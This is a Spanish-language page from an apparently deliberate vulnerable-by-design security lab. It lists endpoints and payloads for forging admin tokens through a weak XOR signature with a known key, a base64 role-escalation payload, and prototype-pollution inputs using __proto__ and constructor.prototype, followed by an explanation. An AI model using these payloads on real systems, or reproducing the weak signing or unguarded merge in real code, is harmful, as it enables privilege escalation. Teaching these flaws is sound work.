Deserialización insegura con firma débil (XOR reversible), escalada de privilegios en objetos serializados y prototype pollution via deep merge JSON
Descripción de los tres ataques y endpoints disponibles
/api/lab/deserializationGenera un objeto serializado con firma XOR débil — base64 reversible
/api/lab/deserialization?action=generate&role=userCon la clave de firma conocida ('signing-key-123') cualquiera puede generar tokens admin
/api/lab/deserialization?action=generate&role=adminVerificar un objeto generado por el servidor — firma coincide
/api/lab/deserialization?action=verify&payload=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsInBlcm1pc3Npb25zIjpbInJlYWQiXX0uMTIzPayload base64 con role:admin — demuestra la escalada de privilegios por deserialización
/api/lab/deserialization?action=verify&payload=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4iLCJwZXJtaXNzaW9ucyI6WyJyZWFkIiwid3JpdGUiLCJkZWxldGUiXX0udeep merge con __proto__ contamina Object.prototype — todos los objetos heredan isAdmin:true
/api/lab/deserialization?action=merge&data={"__proto__":{"isAdmin":true}}Variante con constructor.prototype para contaminar el prototipo
/api/lab/deserialization?action=merge&data={"constructor":{"prototype":{"isAdmin":true}}}Añadir propiedad arbitraria al prototipo base afecta a todos los objetos del proceso
/api/lab/deserialization?action=merge&data={"__proto__":{"role":"admin","debug":true}}Deep merge con datos legítimos sin operadores peligrosos — configuración normal
/api/lab/deserialization?action=merge&data={"theme":"dark","language":"en"}Dos vulnerabilidades en un lab: (1) Firma débil en objetos serializados — se usa XOR con clave predecible ('signing-key-123'), lo que permite recalcular la firma tras modificar el payload (role: user → admin). (2) Prototype Pollution — la función deepMerge no bloquea claves como __proto__ o constructor.prototype, permitiendo contaminar Object.prototype con propiedades arbitrarias que afectan a todos los objetos del proceso Node.js. OWASP A08:2021 — CVSS 9.8.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab